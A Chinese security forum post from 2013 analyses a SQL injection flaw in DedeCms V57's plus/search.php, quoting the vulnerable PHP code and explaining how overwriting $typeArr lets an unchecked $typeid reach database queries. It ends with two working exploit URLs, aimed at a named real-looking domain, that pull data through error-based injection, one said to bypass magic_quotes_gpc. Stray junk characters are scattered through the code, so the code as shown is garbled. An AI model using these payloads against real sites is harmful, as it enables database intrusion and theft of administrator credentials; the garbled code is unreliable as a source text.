找回密码
 立即注册
查看: 2515|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
3 O4 o: X# l$ b9 e- P# |作者: c4rp3nt3r@0x50sec.org
0 i$ Y8 l' [9 L. }( ^  b  yDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
* _  e! ~0 \- X& x! d6 X. Y 2 r; i$ h) |4 ?5 c! R7 f, P
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
, w# f3 P  r; N5 A0 e ) r1 |7 u; j9 Z& {
============
+ w5 ?% z6 L9 a8 l
7 g$ a5 _; @2 L$ E2 C! U7 } 5 b9 s3 P+ \/ O& U5 a
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.* p7 f$ i* Z4 b" C. a6 i8 j

2 [2 w% \* e0 U* P2 u! y2 r. ?require_once(dirname(__FILE__).”/../include/common.inc.php”);( f. |) E3 S! L
require_once(DEDEINC.”/arc.searchview.class.php”);4 E2 H& [7 ^$ m9 i, u' L% F

$ S9 W6 c+ G# N1 ]; f$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
( o8 X# `7 n/ x9 A( ~3 u$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;3 m+ V. N* N8 W: E+ j
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
( d: {4 U0 h( V$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;2 v$ h* d$ z8 p$ b7 [9 j
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
5 Z9 f4 g( U6 \/ p- Y & K' \; H* h1 \, `
if(!isset($orderby)) $orderby=”;
* l( B: o6 V0 W2 \& R: Melse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
, o7 e6 J& ?3 b, N ; W6 P8 |% l* d8 ^/ J+ I
( e7 p' M! B$ m# X0 B
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;" B' ?' W! k/ C2 P, l% B8 i* E
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
% j' w7 @+ w5 M/ j
# N) l6 Z) I! |if(!isset($keyword)){" C8 u+ v* D7 @) R% z7 C
    if(!isset($q)) $q = ”;4 b+ g. ^* h4 |' j! d3 ?
    $keyword=$q;
3 \3 }$ g! l! \3 `5 I; J. B}" W9 i: g4 g7 r2 W

3 Z# i+ `5 n* U# ~7 I  N  ?1 I( [" b$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));; r8 p0 k$ \! F! i! D6 F9 I- |

/ @8 D2 b2 l1 x1 Z) |) ^* V//查找栏目信息
4 L3 _% L7 ~  X% V4 H: f9 z( ~if(empty($typeid))1 C6 u6 |) z7 T1 G4 O
{
3 S' p7 F0 |9 B9 v( I    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;& _( W& v+ l- u, F) i* O8 J
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )6 w4 e/ v* c- E
    {
4 `' L/ c4 g8 W3 O1 I7 h        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);% Y5 a+ X1 @9 f) F, B
        fwrite($fp, “<”.”?php\r\n”);" G3 w) g! P( T9 D7 ?
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
9 H( f+ S5 z! t9 n+ f6 ^        $dsql->Execute();# N4 q; A* p, S- M$ k1 [
        while($row = $dsql->GetArray())5 O  q! t8 r' u5 X7 `0 L( |
        {
: y' K: T5 P0 i4 M) t7 t            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
1 @) o) t4 |- r6 Y        }
! L/ u% p( x# m4 G( a( B        fwrite($fp, ‘?’.'>’);9 y7 C3 N0 b. }4 P
        fclose($fp);2 \9 W" }8 L' }7 i# ^- C/ \
    }1 D- v' N  A' d2 W  F
    //引入栏目缓存并看关键字是否有相关栏目内容
4 o* x& b' v, q: F: H/ d    require_once($typenameCacheFile);8 v' X& H8 r6 c4 ^
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个: t: A. Z& C& G1 Y
//; H9 C# w* v6 l0 I
    if(isset($typeArr) && is_array($typeArr))$ o4 k3 q# V/ m; h4 N
    {# M8 _: u1 l0 ~( J+ O$ T
        foreach($typeArr as $id=>$typename)
( m: b" j1 x) S. K* i) ]3 d! s        {
/ ^; R. {& d! ]0 X6 [ 2 ~) X1 B2 b+ F3 t( S
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过$ W3 I: v3 k& w; e+ z- ~
            if($keyword != $keywordn)
. q, y; `$ A0 X% e8 D; W  @3 B0 R            {
: ~8 j) O) I8 A" `9 A; q                $keyword = $keywordn;
& \! }3 T6 r3 u4 i                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设! Y7 K$ ]! n! c$ P5 o6 v3 J/ N
                break;
5 ]2 d% T* z4 ^" t- T( j            }
; Y) Z1 P" N& j        }+ G$ ?% |+ O+ X% T+ M; K7 R8 U- |) z9 ?
    }2 P. \+ ]; P( N& V! b" x/ t. R
}. r2 t& E7 D" ]( R
然后plus/search.php文件下面定义了一个 Search类的对象 .
3 R# h/ V3 n- [: G0 g% |8 Z在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
+ ?8 E3 B+ H* q6 a. N) R$this->TypeLink = new TypeLink($typeid);
7 R3 k: @: z0 A, S8 s 5 V7 i+ ^5 v8 [
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
0 G3 R$ S: l9 n- E
4 l2 u7 a6 F3 |0 @* E& mclass TypeLink
. }: R, ^/ g2 D  c6 M6 N{0 {) O, x* r3 L2 t1 T
    var $typeDir;
; ?, s; K+ ?6 H; n$ H) ^    var $dsql;
) g/ g7 O5 D0 E$ s2 _9 n7 ]    var $TypeID;
4 K. c8 Y) {5 a2 S+ g* N    var $baseDir;6 Y. W- ?( i" b# ?( H
    var $modDir;9 @4 o5 |, e+ ~% x7 @% b
    var $indexUrl;
; Q; T: V& P, `: M! Y/ d    var $indexName;
) q( [  l: a! }    var $TypeInfos;
. L7 q3 u7 U; O4 m    var $SplitSymbol;* u* f3 J$ q/ W" g& t0 n
    var $valuePosition;! T; b9 `- T1 ~) |  M
    var $valuePositionName;& ?/ ]: i0 G9 J1 D
    var $OptionArrayList;//构造函数///////
" t* H9 S: F, W5 ~6 s1 S& {  x5 p    //php5构造函数
8 z: y+ p' E6 {' i    function __construct($typeid)
2 N  X7 X" h/ Y" a& [    {
: O1 a; k. F8 I9 q        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];" T: @8 j1 i. {7 n/ n
        $this->indexName = $GLOBALS['cfg_indexname'];; d/ y* Q$ A& C" A& V4 q3 X* Y6 ^+ b! |
        $this->baseDir = $GLOBALS['cfg_basedir'];
- d* @4 J. u  k3 b* p/ T        $this->modDir = $GLOBALS['cfg_templets_dir'];
) A& d& W7 u2 \8 X. z" L# p3 l& C        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
+ o" F- O& F* X4 T5 |( u  I        $this->dsql = $GLOBALS['dsql'];1 j0 x% h, a: h( v
        $this->TypeID = $typeid;. r- Z6 J' B; H6 V, S
        $this->valuePosition = ”;
& l! ]& k+ o7 D        $this->valuePositionName = ”;
+ ~, L" s+ b2 n$ R! p; ?        $this->typeDir = ”;4 f+ Q6 z! a. ?! v9 n: d
        $this->OptionArrayList = ”;) b) F) f) p- O0 N3 P7 K. I/ X

# t7 R4 I; \- C& \        //载入类目信息6 Z" v7 V) k; a5 |
8 c3 p& b' D$ j  Q* |$ k
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
: L+ [3 }$ E3 Pctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join* v$ D( H2 Z& ^# r* j6 y
`#@__channeltype` ch: R6 z6 P- `! r5 }6 S
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
7 f' H3 Y0 h" T: B5 T. p& d ; A  f" n: m- z/ d9 @% J# s
        if($typeid > 0)' X2 g; W$ |% H9 W* l* _5 D) I
        {) ~5 C1 a6 L. Z1 w2 e& w7 |
            $this->TypeInfos = $this->dsql->GetOne($query);
- S9 X7 I8 c& ^) Y. h1 R利用代码一 需要 即使magic_quotes_gpc = Off
. x3 O# L0 U( ?) e4 U2 } 5 ~1 x$ F, w7 e
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
- q! E; x$ l2 |0 S
; Y% d0 i* r( Z6 q* R( _这只是其中一个利用代码… Search 类的构造函数再往下
4 G2 E, {( X, i0 V6 N   O& O( U6 O: O0 G: l7 K" }
……省略5 }4 q. d* X, l; \7 P
$this->TypeID = $typeid;4 }+ H% \* ]. N; v! }
……省略. Z, t$ H  m) p3 P
if($this->TypeID==”0″){
7 p" `3 g! u2 l( q6 B) ?5 g* {            $this->ChannelTypeid=1;) a$ b- ]6 j: N
        }else{
$ H: z9 r/ U9 D. o. x            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲6 d: X5 f" E0 F0 |. D2 d3 s' T6 }
//现在不鸡肋了吧亲…
8 e& q' ^- q- d  V            $this->ChannelTypeid=$row['channeltype'];! J9 w0 X: _5 c
3 Q4 |7 S4 s- V; k5 K
        }  d/ q) q" E! Q6 `0 T! f5 W7 J
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用." C) I2 M% }  f2 c1 z) Y

. s0 U1 w" A0 i1 |: r8 }* p" Zwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title4 c2 q6 p. ?! g# E+ H9 G" r8 N4 Y

  t8 B# U# P- j: R+ e' ]: k6 f% ^如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
4 f3 ~+ C& `2 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表